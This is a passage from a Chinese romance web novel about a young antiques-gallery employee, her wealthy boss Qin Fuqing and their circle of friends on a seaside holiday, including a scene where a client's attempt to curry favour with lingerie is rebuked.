说是收拾桌子,其实也就简单拿毛巾擦了擦桌面,连乱了一团的文件都没让她管。 秦拂清又招呼她坐下,他不知从哪里变出来的一支药膏,拧下盖子说:“涂点儿这个,好得快些。” 钟缊酌低眉看了眼。 很奇怪,这支药膏的塑料软管上没有写任何名字,通体白色,也看不出是哪家药厂生产的。 她伸出另一只手接过,“秦总,我自己涂就好,谢谢您。” 哪知秦拂清直接拍开了她的手,“这不是市面上普通的药膏,你知道该涂多少?用什么手法?” 涂个药膏而已,还能有这么多讲究。 钟缊酌自然没把内心的想法说出来,免得露怯。 秦拂清没跟再跟她废话,在指腹上蹭出豆粒大小的一抹白乳,指挥她将受伤的部分平整放好。 他开始在上面慢慢打着圈。 他的手指看起来根骨分明的,很有力量感,没想到手法却如此柔软细腻。 那膏乳一层层流淌开,像是被春风轻抚心尖,舒服得过分。 钟缊酌正沉浸其中,忽然听到门口传来了几声动静。 抬头一看,是季昌带着江先生进了屋子。 两人正聊得起劲,看到这一幕后,不约而同噤了声。 江岩也是古玩馆的常客了,那些古董已经看的七七八八,今天过来就直接让季昌带着到了会客室。 结果愣是撞见了最不该见的一幕。 钟缊酌没经历过这种场面,但基本的避嫌意识还是有的。 她迅速抽回手,起身喊了声“江总好”“季总好”,便安静站到了一旁。 江岩和季昌的心境也没好到哪儿去。 要知道秦总向来清心寡欲一人,在圈子内从未有过桃色新闻,这一幕说不上算暧昧还是正常互动,完全看个人怎么理解。但多多少少能品出点儿味道来。 两人互相看了一眼,那模样仿佛都在说,你先开口。 倒是秦拂清最冷静了。 这一屋子里,除了那个大学生,全都是只千年老狐狸。说的每一句话,做的每一个举动,都能在对方眼里做出上百种解读。 这个时候,越解释越说明有问题,不如直接当作什么都没发生。 秦拂清冲江岩做了个请的手势,示意他坐到对面。 “迟到这么久,茶水都凉了。” 江岩乐呵呵地说:“没办法嘛,路上堵车。” “市里堵车不是很正常,不堵才奇怪。” “是是,下次我打出富裕时间,早点儿来。” 两人一来一回,便把话题聊开了。 秦拂清下巴点点旁边,“你去忙自己的吧,这儿没什么事了。” 钟缊酌看事情没闹得更尴尬,暗自松下一口气,“好的,秦总。” - 这一天,钟缊酌破天荒地请宋黎若去北三环附近的清吧小坐。 若是放在以前,她绝不会主动开口去酒吧,都是宋黎若死缠烂打软磨硬泡才肯去的。 “今儿个吹得什么风啊,竟然能吹得动你这尊大佛。”宋黎若一手托腮,饶有兴趣地观察着面前的美人。 有句话叫做情人眼里出西施,要让宋黎若说应该还有句叫闺蜜眼里出貂蝉。 不管别人怎么看,她是真觉得缊酌漂亮。 标准的远山眉,杏眼,眼珠偏浅,清澈盈润,嘴唇饱满且平直,乍一看有股子清冷劲儿,说起话来却温柔又耐听。 “你先别说,让我猜猜,我最近学会了看相。”说完捧起她的脸,一边比划一边开始念叨,还真挺像那么回事。 钟缊酌不怎么信这个,但还是耐心等了一会儿:“怎么样了宋大师?” 宋黎若停下来,一拍脑门道:“我知道了,你有桃花运!” 钟缊酌嘴里的鸡尾酒差点儿喷出来。 “什么乱七八糟的呀!我看你至少还得再修炼个几十年!”她抽出一张纸巾擦了擦嘴,“我前几天在食堂遇见杜薇了。” 一听这个名字,宋黎若知道准没好事,立刻坐直了身子,“细细道来。” 钟缊酌把她和杜薇在食堂发生的经过整个讲了一遍,期间宋黎若火大的差点儿把杯子捏碎。 “他们可真不要脸啊怎么能那么贱!你要真跟吴少维在一起了杜薇得气死吧,她自己巴不得攀上个背景硬的!家里安排几次相亲都没成功。” 宋黎若又说起杜薇之前的几段感情经历,“大小姐脾气特别冲,每次都被别人甩,大家都是混一个圈子的,谁惯着你啊。” 钟缊酌对这人的私事倒是兴趣不大,边应和边欣赏酒吧里的墙幕,有一搭没一搭地听着。 她的视线落在了对面卡座的一个男人身上。 男人穿一件松垮的黑色T,姿态慵懒地斜靠在座位上,正在和旁边的女孩子说话。 钟缊酌戳戳宋黎若的胳膊,“你看那人,有没有觉得眼熟。” 宋黎若跟着看过去,脸上的表情有些微妙,紧接着道:“他啊,也算是酒吧的常客了,不稀奇。” 谈勉的位置距离两人不算远,钟缊酌怀疑他早就看到她俩了。 她压低声音问:“你怎么知道的?” “我来酒吧次数不多都经常撞见他。” 这一带有名的清吧就那么两三个,按理说常来能撞见确实有可能。 钟缊酌思考这件事概率的时候,那头的男人已经站了起来。 谈勉端着酒杯,径直走到两人身边,将杯子放下,拉开一张空着的椅子,“看到我都不知道打个招呼啊,宋大小姐?” 宋黎若撇撇嘴,冲钟缊酌使了个眼色,“没看到呢,这里太黑了,我俩聊得正欢哪里顾得上别的。” “哦——是吗?”谈勉故意拉了个长音,好笑似地敲了敲桌子,“就喝金菲士,多没意思。” “还看不上度数低的了,我们哪里有您的酒力。” “不敢不敢。” 谈勉指了指吧台:“我和这里的老板认识,可以让他现调一杯限量版的低度数酒,要不要试试?” 宋黎若摆手,“算了,我们没那个瘾。” 她望了望他来时的方向,“你还是去陪你女朋友吧,别晾着人家。” 听到这句话,谈勉眉峰一挑,语气闲闲地:“那是我妹啊,你不是见过她?今天自个儿跑酒吧来被我抓包,刚教育完。” 像是怕她不信似地,谈勉勾了勾手指,“谈姝,过来。” 刚刚小姑娘背对着两人坐着,看不清面容。这会儿走过 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“诶呦我衣服要坏了你慢点儿,限量款你赔不起的......” “你笑够了吗?” 宋黎若“恶狠狠”地看着还在笑不停的亲闺蜜,“再笑把你牙掰下来。” 钟缊酌抿起嘴:“不笑了。” 她趴在桌子上,眼里的好奇直往外溢,“他是不是真的喜欢你啊。” 宋黎若猛喝了一大口金菲士,待气息顺下去,擦了擦嘴说:“不可能。” “为什么?” “他以前每次见到我都说不出几句好话,不是在调侃就是在调侃的路上,最近是好些了,可也没好到哪去。” 钟缊酌想了想,给她分析:“会不会他性子就那样,喜欢开玩笑。而且一般这种人,越是面对心上人越爱逗贫。” “你可别瞎分析了。”宋黎若无情反驳道,“自己还没脱单呢就当起爱情专家了。” “嗐.....” 钟缊酌不死心,又试探性地问她:“那你呢,你对他什么感觉?” 宋黎若耸耸肩,无所谓似地说:“没什么特别的感觉,就那样吧。” “你.....是不是不喜欢小麦色皮肤的男生?” 宋黎若这时候很不自然地咳嗽一声,“跟肤色没有关系,就是当朋友相处久了习惯了。” 好朋友间最兴奋的事莫过于聊起对方的暧昧对象,只是没想到最后竟是错觉一场,白让人兴奋。 钟缊酌收起了八卦之心,可她的第六感告诉自己,这俩人多少有点子事儿。 另一边,谈姝叽叽喳喳地讲了一路的话,把谈勉脑瓜子震得嗡嗡响。 “哥你要是想追人家,我可以帮帮你。” “现在的女生都喜欢白皮,谁让你非得弄个小麦肤色,还嚷着这叫健康......” “哥你还给不给我买新表啊。” “......” 终于到了楼下,谈勉让妹妹先上去,他要独自清静会儿。 在车里抽烟的功夫,谈勉接到了一个陌生电话。 说陌生也不算陌生,这号码备注了一个季字,应该是认识的人,然而想了半天也没想起来是谁。 他接起:“喂?哪位。” 对面语调温和地自我介绍:“谈公子,我是秦总的秘书,季昌。” 一听他的身份,谈勉感到新奇,“我有印象,找我什么事儿啊?” 季昌笑了笑:“也不是什么大事,秦总下周打算去秦皇岛度几天假,邀请大家来玩,不知谈公子有没有兴趣。” 谈勉思虑几秒,答应下来:“行,我没问题。” 其实他对这个海边度假没多大兴致,但秦拂清亲自邀约,多少还是要给点面子。 季昌又补充一句:“谈公子若是有想要邀请的朋友或者女朋友,都可以一起。” “明白。” 挂了电话,谈勉没急着上楼,吸掉剩下的半截烟,跟司机吩咐,“去趟成师傅那儿吧,订几件新衣服。” 女朋友没有,不过,正在追的倒是有一个。 7、第七章 钟缊酌收到宋黎若的度假邀约时,正躺在床上敷面膜。 她听到手机响了一声,伸手摸过来。 这时候不方便发语音,她撑着坐起,给自己找了个舒服的姿势,开始打字。 钟缊酌:【你不是刚从马代回来,怎么又要去海边?】 rio:【宝贝,出去玩儿最重要的不是看风景,而是身边那个人呀。】 【谁让你上次不陪我去,而且,这一趟有好多熟人呢。】 钟缊酌问都有谁,宋黎若语音报了好几个名字,她有印象,应该都是上次聚会见过的。 钟缊酌安静听完,直到那边说出了秦拂清三个字。 钟缊酌:【他也去?】 rio:【对,貌似就是他组的局。】 旅行身边跟着老板,最痛苦的事莫过于此了。 但钟缊酌没办法拒绝,再拒绝一次,宋黎若闹不好要跟她绝交。 她给她回了句“行”。 宋黎若发来一个嘻嘻哈哈的笑脸,叮嘱她多带几套衣服,拍美美的照片。 出发那天是个艳阳天,钟缊酌和宋黎若坐的同一辆车过去。三个多小时的车程,加上起了个大早,两人没聊一会儿便睡着了。 醒来时,车子已经到了阿尔卡迪亚小镇门口。 司机向警卫亮出业主身份二维码,钟缊酌感到好奇,问旁边还在补妆的姑娘:“这里不让外人进么?” 宋黎若抹掉多余的口红:“让进,但是会很麻烦,一步三查的,很多地方也不能去。” “这业主我猜是秦拂清的朋友吧,他家里管得严,不会让他乱投资的。” 钟缊酌似懂非懂地点下头。 两人来到酒店前台办入住,这个时候人到的还不齐,两人肚子也饿了,将行李放下后,就直接去了大堂吃饭。 钟缊酌剥完一只娇嫩透红的虾,放在嘴里嚼着:“说起来,咱要不要先联系下吴少维,毕竟是他邀请......” 宋黎若瞪着大眼睛,不解道:“他不来啊,谁说是他邀请的。” “啊?不是他?” 最近总是吴少维作为牵线人,钟缊酌下意识以为这次还是他,“那是谁联系的你?” 宋黎若耸耸肩,“谈勉。” 见好友的眼神里多了份探究,宋黎若急忙解释:“没办法啊,他和我打赌,说我这次放的第一盏孔明灯绝对还飞不起来。之前我总是失败,许的愿都没成功过,被嘲笑了很久。” 钟缊酌意味深长道:“所以你最初想来的原因是这个?” 宋黎若有点不好意思:“都有嘛,也是想和你来玩。” 两人聊了会儿,菜也上齐了。 宋黎若给她舀了一勺海蟹蒸蛋,“你尝尝这个。” 刚放下勺子,自己碗里的还没吃着,嘴里突然蹦出两个脏字,“我靠。” “怎么了?”钟缊酌被她粗俗的言语吓一跳,一时间摸不着头脑,好端端的这是见鬼了? 结果她一转头,看见迎面走过来的那俩人,心想,还真是见鬼了。 杜薇和杜洺正满面春风地往这边走,一对上钟缊酌的目光,脸色明显变了变,嘀咕着不知说了什么。 他们坐在离两人隔了一桌的位置,那里原本坐着一人,应该是等他们一起的。 “秦拂清也邀请他俩了吗?”钟缊酌挺淡定地收回目光,没把心里的波动表现出来。 “不可能。”宋黎若愤愤地咬下一块蟹腿,“我敢打赌他俩没有被邀请,绝对是自己组队来的。” “那还真巧。” 宋黎若气不打一处来,“巧什么啊,大概率是听说了秦拂清组局这件事,想来凑个份子。” 她眼珠一转,“我都能想象出他们那爹怎么交代的,你们两个啊,一定要多多认识几位大人物,以后方便出头。” 钟缊酌没说话,在思考怎么让自己把这件事抛之脑后,不要搅乱这一趟行程的好心情。 “我看他们就是嫉妒你人缘好,你别放在心上,咱们玩儿自己的,眼不见为净。” 钟缊酌笑了笑,“没事儿,不用担心我,我好着呢。” 其实钟缊酌心里明白,杜家兄妹之所以一直针对她,是因为觉得她在大院属于外来者,不配混他们的圈子。 因杜老爷子曾经的丑事,杜家的名声一直不怎么好,两人总觉低人一等,而她这样一个没权势没背景的人,自然成了最好的宣泄口。 这顿饭吃得好像没那么香了,钟缊酌草草扒了几口,便撂下筷子,把最后一点汤喝完。 也不知隔壁是不是故意的,说话聊天的声音越来越大,最后几句清晰落入了钟缊酌的耳中。 “对,吴少维的暧昧对象。” “怎么之前好像没见过?” “你出国这几年搬来的,新鲜吧,也不知道看上她啥了......” 宋黎若猛地站起来,没等钟缊酌有所反应,她已经踢开了椅子。 可就在她准备大展拳脚给隔壁一点颜色看看时,一道清沉威凛的声音抢先传了过来。 “在没弄清事实之前就给人瞎造谣,这样不好吧?” 大堂里来吃饭的并不多,除了这两桌,也就是角落里零散坐了几个人。 这一声之后,当事的一群人齐齐望过去,看到了那个英姿勃勃,眼神里透着冷峻的男人。 是秦拂清。 秦拂清迈着脚步缓缓走来,后面跟着他的秘书季昌。 他虽是在和议论人的那一桌说话,可目光却没有放在他们身上。 “据我所知,吴少维目前没有暧昧对象,以后这种事还是谨慎着点儿说,大家住一个院儿里,理应互相尊重。” 宋黎若和钟缊酌面面相觑,全都愣住了,不知该做出什么回应。 钟缊酌饶是未料到会在这里遇见他,更没想到他会帮她说话。 另一边,杜薇也是典型欺软怕硬的性子,要说这一圈人,她最不敢惹的就是这个男人了。 以往遇到这种情况,别人说一句她定要怼十句,今天却一下子闭了嘴,一句反驳的话也说不出口。 最后只闷闷地应了声:“您说的在理。” 这一场闹剧至此总算结束,钟缊酌赶紧站起来,喊了声:“秦总,您来了。” 秦拂清微微颔首:“接着吃吧,我也是刚到,随便瞧瞧。” 说完,他便和两人道了别,穿过大堂时,边走边跟季昌问话。 钟缊酌隐约听到了几句,大概是其他人到了哪里,准备去哪吃饭。 “他们不在这里吃么?”钟缊酌看着男人远走的背影问。 “这里的菜他们哪儿看得上,估计是去某个私房菜馆。不过,晚上据说秦拂清要请客,咱能吃一顿好的。” 这一带不是公共海域,沙滩被保护得很干净。阳光穿过云层洒下来,给海面披上一缕银装,微波荡漾,水光潋滟,让人看了心情舒畅极了。 宋黎若拉着钟缊酌跑到各个场景处去拍照,草地,沙滩,红色的热气球,超大植物猫咪,一圈下来,相册里多了几十张照片。 两人拍累了,便找了一把遮阳伞,并排坐下吹着海风。 “这下杜薇可不敢随意编排你了。”宋黎若看起来心情大好,连发好几组朋友圈。 钟缊酌也感叹:“得多亏我遇上了个好老板。宽厚仁慈,仗义相助,我应该给他送个锦旗。” 钟缊酌一直记着这事儿,想着到晚上吃饭的时候,她要找机会感谢一下秦拂清。 当晚是谈勉开车接两人去的饭店。 一进包间,里面拢共摆了两桌,一桌是院儿里的熟人,还有一桌是秦拂清工作上的朋友。 钟缊酌往秦拂清那桌扫视一圈,眼熟的也有四五个。 除了傅沅宗,剩下都是去过古玩馆的,其中一位是最近才照过面的江岩江老板。 她忽然想起来,好像很久都没有看见过黄老板了。 本来因为在展览馆发生的事,让她心有余悸,恐怕再接待他。没想到自从那次事件之后,他再也没来过古玩馆。 也算是不幸中的万幸。 见人已到齐,秦拂清先开口,说了几句场面话,让大家别太拘着。 众人举杯齐齐干了第一杯。 “看吧,我就说他不会邀请杜家那两位。”宋黎若在钟缊酌耳边小声嘀咕。 期间,有人问起秦拂清今年怎么不去隔壁阿那亚了,秦拂清淡淡解释一句:“暑期那边戏子多,嫌烦。” 对方明白了他的意思,忙笑说“是是”。 秦拂清这点跟其他人不一样,有钱有权的二代们很多喜欢跟娱乐圈沾点边,而他偏偏最讨厌那些戏子们。 另一桌的钟缊酌,还在找机会给秦拂清敬酒。 他是她的老板,也帮过她几次,于情于理,都应该表达一下敬意。 可偏偏一到关键时刻就犯了怂,屁股刚一离开座位又黏了回去。 “怎么不吃,发什么呆呢?”一旁的张桢提醒她。 “欸,这就吃。” 宋黎若突然凑过来:“我挺奇怪,吴少维竟然没来,按理说他跟秦拂清的关系比我们更近。” 钟缊酌咽下一块鲈鱼肉,“或许他这几天没空吧。” 张桢听到两人的悄悄话,也忍不住加入话题:“可是我听说,吴少维最近挺闲的。” “啊?那为什么.....” “咱可不敢多问,也别瞎打听,人自己的私事,万一.....” 张桢使了个眼神,意思是万一人两家势力上有了冲突,致使后辈产生隔阂,这种事谁也说不准。 两人心领神会,默默闭上了嘴。 一桌子菜眼见就要触底,钟缊酌终于等到了机会。 谈勉举着杯子和旁边的人提议,一起过去给秦总敬一杯。 这人平时看着不着调,没想到认真起来挺会来事儿的,钟缊酌赶紧跟着附和:“也带上我。” 宋黎若见状,凑热闹似地,“我也去。” 几人走到对面桌的主位,轮番跟秦拂清碰杯,说的话也是简单明了。 钟缊酌站在最后,到她时,她把提前想好的一长串敬酒词念了出来。 大意是感谢他今天替她解围,愿他以后事事顺遂,生活美满,事业长虹。 谈勉和另一人不知她与秦拂清之间发生的事,脸上露出饶有兴趣的表情,大概觉得这姑娘挺逗。 一顿饭吃完,时间也不早了,宋黎若说打算去泡个温泉解乏。 钟缊酌纠结道:“但我想去海边散散步,吃得好撑。” “没事儿,你去你的,回头咱俩酒店房间见。” “行。” 钟缊酌迎着海风,在沙滩外面的草地上走了一大圈,一直走到腿都酸了,终于觉得胃里舒服了些。 回来时在酒店楼下,她意外碰见了江岩。 “江总,您也来散步呀。” 江岩笑着说:“出来办点事,钟小姐一个人?” “嗯。” “别逛太晚了,女孩子在外还是要注意点安全。” “好,这就回去了,谢谢江总。” “对了。”就在钟缊酌转身准备离开时,江岩又叫住了她,“钟小姐,不知可否麻烦你帮个忙?” 钟缊酌站在原地,“您请说。” 江岩咳嗽一声,有点儿难为情似地,“是这样,我这边有些事还没办完,但秦总有东西落在了我车上,你能否帮忙送过去一趟?” “秦总的房间就在a区202。”他补充道。 钟缊酌住的房间在b区,a区和b区的楼是连接着的,她直接走到头拐过去便是。 “可以,没问题。” 这确实是个挺小的忙,她没有理由拒绝。 江岩从停在路边的车上拿过来一件包裹,递给钟缊酌,又叮嘱几句一定要亲自送到秦总手上,才放心离开。 很小的一个包裹,钟缊酌摸了摸,软软的,像是件衣服。 她小心抱在怀里,顺着长长的走廊一直往前,暗黄的灯光落在地毯上,给人一种看不到尽头的错觉。 在拐了不知几个弯后,终于来到了202号门前。 钟缊酌调整呼吸,轻轻叩了叩门。 很快,屋内传来一声:“哪位?” “是我,秦总,江总让我来给您送包裹。” 秦拂清打开门,他身上批了件丝质衬衫,或许因为是私下场合,扣子随意解开了两颗,整个人显得贵气又慵懒。 看到她时,脸上的表情似乎很惊讶。 “这么晚了,你送什么包裹?” 这一句一下子把钟缊酌问懵了。 她想着江总肯定会提前跟秦拂清知会一声,告诉他自己来替他送东西。 再不济,秦拂清至少应该知道他有个包裹落在了别处。 秦拂清看了看女孩手上的黑色袋子,又确定一眼走廊上没有其他人,把门拉开了些:“先进来再说。” 与她的房间不同,这间套房布置得相当有格调,移动书架,超大办公桌,地面上铺着红丝绸地毯,整个屋子散发着一股清淡的香气。 但钟缊酌已然没心情欣赏这些,满脸茫然地跟在男人身后。 她在想,就这样大摇大摆进他的房间会不会不妥? 本以为把东西交出就可以走了的。 秦拂清拽出一把椅子,示意她坐下,他自己则坐在了对面的沙发上。 “你说你手上的这个袋子,是江岩让你送过来的?” 钟缊酌用力点了下头,“对,我以为您会知晓。” 秦拂清思忖几秒,忽而挑了下眉:“打开看看吧。” 他这个反应让钟缊酌有些摸不着头脑,但她不敢多问,照他的吩咐扯开了袋子。 黑色袋子内,是一个透明白色塑料袋,不用再打开,里面装的东西已清晰可见。 只一眼,钟缊酌的脸便像火烧云一般,迅速涨红了起来。 那是一件淡粉色的,极其性感的女士情趣睡衣。《 》 8、第八章 在那一片粉色视觉的氤氲下,屋内温度迅速拔高,对面男人的眼神也变得耐人寻味起来。 钟缊酌红着脸,脑子里蹦出的第一个想法是,秦先生难道约了女伴在这里? 但又觉得不对,如果那样的话,他不可能让她当面打开包裹。 看刚刚一系列的反应,他显然并不知道这里面装的是什么。 钟缊酌突然有点儿恐慌。 想象一下,此刻若是站在秦拂清的视角,一个女孩子大半夜来敲他的门,手里还拿着件情趣睡衣,说一堆让人听不懂的措辞,这不是图谋不轨是什么? “秦总——”她腾地站了起来,将眼前那件袋子像烫手山芋似地远远扔到茶几一角,“我真的不知道这里面是.....我在楼下遇见江总,他说让我帮送个东西我就拿上来了,要不然您问问他.....” 她理直气壮地,好像自己受了天大的委屈。只是此刻面对的人是秦拂清,任她声音再大也压不过那个男人的气场。 时间一秒一秒地流过,秦拂清没有急着开口。 他端起面前的陶瓷杯,轻轻呷了一口茶水。 等身子再次坐直,他缓声说:“你知道你这个时间点儿来找我,本身就是一件很危险的事。” 且不说他的身份,夜里冒然去敲一个异性的房间,确实不合适。 尽管觉得自己很无辜,但她不敢过多狡辩。 钟缊酌垂下头,安静听他训话。 “今天你是运气好,遇见了我这么个还算有点儿良心的。”秦拂清手指一下一下地点着沙发扶手,“但凡撞见哪个色迷心窍的,你上哪儿哭去?出了事找警察都没用。” 被他这么一说,钟缊酌才后知后觉地感到脊背发凉。 他们这个阶层的人,不说只手遮天,解决她这样的小人物还是太容易了。 以往待的圈子太过舒适,以至于让她都忘记了基本的丛林生存法则。 “多谢秦总提点,我记下了,以后不会再犯了。”钟缊酌深深吸一口气。迟疑片刻,又指了指茶几上的袋子,“那,这个东西.....” 这个时候还在疑问这件事,像是理科生的思维,做题似的,需要一道道去解。 秦拂清心中喟然一叹,不着痕迹地看了她一眼。 小姑娘眼底清澈,白净的脸颊不施粉黛,只是因燥热憋得小脸儿微红。 他喉结滚了滚,最后也没忍心告诉她真相,“大概是江总给女朋友买的拿错了,先放这儿,我明天去找他。” “原来如此,那我就不打扰您休息了。” 钟缊酌快速离开了房间,就在她关上门的一刹那,秦拂清手中的电话也拨了出去。 几秒后,江岩乐呵呵地声音传来:“秦总,怎么这个时候打电话来?” 秦拂清冷声道:“你说呢。” “我、我不晓得呀......” 那头的后槽牙几乎咬碎,“现在,马上给我滚过来!” ...... 江岩出现在秦拂清的房间时,男人正坐在沙发上抽着烟。 弥漫的烟雾在他周围形成一层天然屏障,看不清此刻的表情。 直到江岩走近,他敞着腿往后一靠,拿夹烟头的手点了点茶几:“看看是不是你的东西。” 里面的包装还严丝合缝的,动都没动一下,江岩尴尬地笑了笑。 眼前这情况,估计他送的“礼物”没成功,项目的事看来是没戏了,闹不好还要被指责一番。 秦拂清声音朗朗:“是不是给你女朋友买的?拿错了吧。” 江岩忙不迭应和:“对对,瞧我这眼神儿,天太黑没看清,见笑了您。” 说完抓起那袋子就要走。 “回来!”秦拂清忽然提高音量,把那半截烟往茶杯里一扔,发出“呲啦”的声音,“给你台阶就下,多大脸皮!” 江岩灰溜溜地又转过身来,虚汗都出来了,“这不是看您对那小姑娘挺上心嘛,想着能成人之美......” 秦拂清瞪了他一眼,“成谁的美?你问过人家意见了?” 他抻了抻紧扣的脖领,气不打一处来,“好的不学,净学歪门邪道!以后别把那不三不四的风气带我这儿来!” 江岩的表情像蔫儿打的茄子,“您骂得对,我今天是受教育了,以后一定谨记在心,回去就罚自己抄规章。” 秦拂清大手一挥:“去去,现在就滚去抄。” 江岩没再耽搁一秒,立即抱着“赃物”溜了出去。 随着门被重重合上,心脏总算重新落回原处。 像变戏法似地,江岩即刻收拾起了那副谄媚的面孔,嗤了声。 都是男人,装哪门子清高。 怪不得年纪轻轻就能坐到这个位置,那刚正不阿的形象演绎得真够到位。 - 钟缊酌脚下像是踩了风,飞一般地跑回自己的房间。 她趴在门边呼哧呼哧地大口喘气,惹得正在卫生间刷牙的宋黎若探出头来,“咋了,有幽灵追你来了?” “比幽灵还可怕。” 好一会儿后,钟缊酌才放下胳膊,捏了捏热气未消的面颊说:“对了,你看我脸色还正常吗?” “不正常,粉嫩得想让人亲一口。” 钟缊酌气恼地从后背捶了她一拳。 也不知这姑娘遇上谁了这么惊慌失措的,宋黎若吐了口沫沫,咕咚咕咚漱几口水,擦干嘴巴后跑出来把她推到床上,“睡前真心话,说说你刚刚怎么个事儿?” “什么乱七八糟的,我还没洗澡洗漱换衣服呢!” “做完这些太慢了,我要先听故事。” 钟缊酌翻了身起来,“没有故事,要听也是恐怖故事。” 钟缊酌跑去卫生间洗澡了,她暂时不打算把这事儿讲给若若听,怕她吐槽自己太傻。她今晚被训得已经够多了。 宋黎若在外面喊了声:“动作快点儿啊,明天还要起早看日出呢!” 这一晚钟缊酌怎么也睡不踏实。 不知是心理作用还是什么,总觉得有人在她耳边吹风。 她不得不用被子把耳朵紧紧捂住,以至于差点儿错过晨起闹钟。 刚披上外套,宋黎若就拽着她往外冲:“再墨迹一会儿,太阳屁股都看不着啦。” 隐隐绰绰的晨暮里,带着点儿隐约的光亮,一群人齐聚在沙滩上。 钟缊酌调整手机相机时,察觉到旁边的人突然转了个身,朝着相反的方向指:“我们去那边好不好?” 钟缊酌不解,“干嘛去那边?这儿的位置不是挺好。” “就、就想换个地方啦,听我的第六感,准没错。” 她的第六感什么样钟缊酌不知道,但自己的第六感很明显捕捉到了一丝情况。 钟缊酌环顾一下四周,很快,在人群中发现了“罪魁祸首”。 八点钟的方向,谈勉就站在那里。 钟缊酌原地未动,用手指戳了戳宋黎若的额头,笑说:“你怕他做什么,除非你心里有鬼。” 宋黎若撅起嘴,辩驳道:“胡说,我心里有什么鬼,单纯是不想看见这人罢了。” 两人辩论的时刻,那边的谈勉已经望过来,勾着唇,很欠地按下了快门键。 宋黎若知道此刻自己的表情非常丑,急得几步跑过去,想要抢过手机,哪知谈勉把手举高,就是不让她够到。 钟缊酌没时间看他们打闹了,一束金色的光芒已缓缓探出地平线。 当云层染上金边,整个世界被照亮的瞬间,所有人开始疯狂拍照。 钟缊酌第一次看海上日出,只顾着沉浸在这美轮美奂的景色里,等太阳全部显露出,才想起拿手机记录。 她拍了一张圆而正,堪堪擦过水平面的一轮红日。 钟缊酌很满意自己的作品,但她不知道的是,在距离这里不远处的房间内,有一个人,正以同样的角度,拍下了一张几乎一模一样的照片。 “看看,我抓拍的水平怎么样?” 秦拂清胳膊搭在阳台栏杆上,姿态惫懒,颇为得意地向旁边的人展示自己的作品。 “嗯,就那样吧,符合你一贯的审美。”傅沅宗低头看了眼,兴致缺缺地偏过头,继续盯着前方那一片沙滩。 秦拂清将手机放回兜儿里,用手拢了拢头发。 他显然刚洗漱完,发丝还掺着水滴,昨晚睡得晚,今天本想多睡会儿,没想到天还没亮就被某人敲了门。 “你别告诉我你一大早来这儿就为了看个日出。” 他虽这么说,倒听不出多大怨气,毕竟工作早起已经习惯了。 傅沅宗没立即回他,沉默半响后,才缓缓开口:“我没看日出,我看人呢。” 这一句更是让秦拂清莫名其妙。 他顺着他的视线望过去,只有一片密密麻麻的黑点,“这个距离你能看见人?你眼珠子里镶望远镜了?” 傅沅宗无视他的冷幽默,抬抬下巴,“今早我来你这儿的路上碰见谈勉了,他就在那群人里。” “所以呢?” “你不觉得奇怪吗?谈勉可不是一个会早起的人,更不会为了看日出这种事早起。” 这样拐弯抹角的表达方式秦拂清听得多了,也懒得跟好朋友算计,他直言道:“别讲废话,说重点。” 傅沅宗耸耸肩,抱起双臂,“很显然,他大概率不是为了自己,是为了陪某个姑娘。” 秦拂清听得一笑:“你什么时候喜欢当媒婆了,对别人的感情这么有兴趣?” 傅沅宗也笑:“我对别人的感情不感兴趣,但我对你的感情挺感兴趣。” 他说完这句话之后,秦拂清的脸色微不可察地变了变。 他转身走进客厅,给自己倒了杯热茶,挺无聊似地一下下吹着上面的热气。 “看你的反应,应该也早就察觉到了吧。” 傅沅宗坐在他对面,翘起二郎腿,将那一副腹黑作派贯彻到底,“关于谈勉在追宋黎若这件事。” “嗯,然后呢?” 傅沅宗摇摇头,由衷感叹一句,“你跟他们接触次数有限还能清楚这些事,不得不承认,你的消息可不仅是在工作上灵通。” 秦拂清晃着杯子,静静看他表演,没有接话的意思。 傅沅宗继续道:“其实自打这次度假开始,就有一个问题一直萦绕在我脑海里,怎么都想不通。” “你明明跟吴少维的关系更近,为什么这次来不邀请他,偏偏邀请了一个几乎没什么交集的谈勉?” 空气有少许的静默,傅沅宗刻意停顿了一下,看向对面的男人。 那人正低头小口啜茶,从脸上探不出什么情绪。 紧接着,他一拍手,做出恍然大悟的样子,“最后联想到刚刚那件事,我突然就明白了。谈勉在追宋黎若,所以大概率会叫上她,而宋黎若一个姑娘家定会找个同行的女伴,她好朋友是谁呢?” “——好难猜啊。”《 》 9、第九章 话说到这儿,虚虚实实基本已经明了。 傅沅宗对自己的推理很有把握,他现在仿佛抓住了一颗毛线团的头,只要轻轻一挑,那根线就会清晰无疑地暴露在眼前。 对面的男人似乎挺有耐心,一直等到喝完最后一口,热气全部散去,他才缓缓开口:“你的意思是,我这次度假,兜兜绕绕那么多弯子,就为了约一个姑娘出来。” 傅沅宗扬起唇,只笑着不言语。 秦拂清点头,“分析得不错,还有吗?” 傅沅宗说:“还有我觉得你不愿叫上吴少维,八成是你觉得他对你有所威胁。” “在感情方面。”他补充道。 秦拂清看上去都想给他鼓掌了,他说:“你得亏没去纪检组,不然要送进去多少清官。” 傅沅宗对他的插科打诨不以为意,继续死死盯着他。 那眼神仿佛在说,我已洞察一切,看你还能耍什么花样。 “我闲得慌啊,我没事儿干了?”秦拂清已然懒得再跟他玩猫捉老鼠的游戏,开始解释起来。 “第一,吴少维以前就说过不喜欢大热天地往外跑,你非要叫来给人添堵是吧?其次,不是你说搬去大院后让我多跟年轻人接触吗?谈勉平时没个正形,但他是这一辈里最值得培养的,别说你连这个都看不出来。” 这一段话解释得合情合理,叫人没办法不信服。 傅沅宗在心底叹气,看来今天任自己怎么纠缠,他也不会透露半点风声了。 “真没意思,还以为你铁树开花了呢。” 秦拂清没理他,整个身子仰靠在沙发上,开始闭目养神。 看这架势,大有赶客的意思。 “昨晚没休息好?”傅沅宗假装看不懂,横了心要赖在这,“说起来,你搬大院这段时间感觉怎么样,住得还习惯?” “睡个觉而已,在哪儿不一样,有什么习不习惯的。”秦拂清慢条斯理道。 傅沅宗表面不动声色,心里默念着,跟我来这套是吧。 “算了算了,你休息吧。” “那最后问个事儿,等过段时间陪我去趟古柘寺参加个法事,成么?” 听到这话,秦拂清才又睁开了眼,重新坐起来,“给伯母祈福用的?” “嗯。” “从301住院回来后,也没好转吗?” 傅沅宗默了默,“还是老样子。” 傅沅宗的母亲前年患了一种很罕见的疾病,叫成人斯蒂尔病,目前医学上还未出现能够彻底治愈的药物。傅沅宗请遍了各大医院的名医,效果甚微,这两年他一直在给寺庙募捐,做公益慈善,大概是希望能用这种方式获得奇迹。 其实秦拂清是不怎么信这些的,但他这次没犹豫,痛快答应道:“成。” - 从海边看完日出后,宋黎若闷了一肚子气。 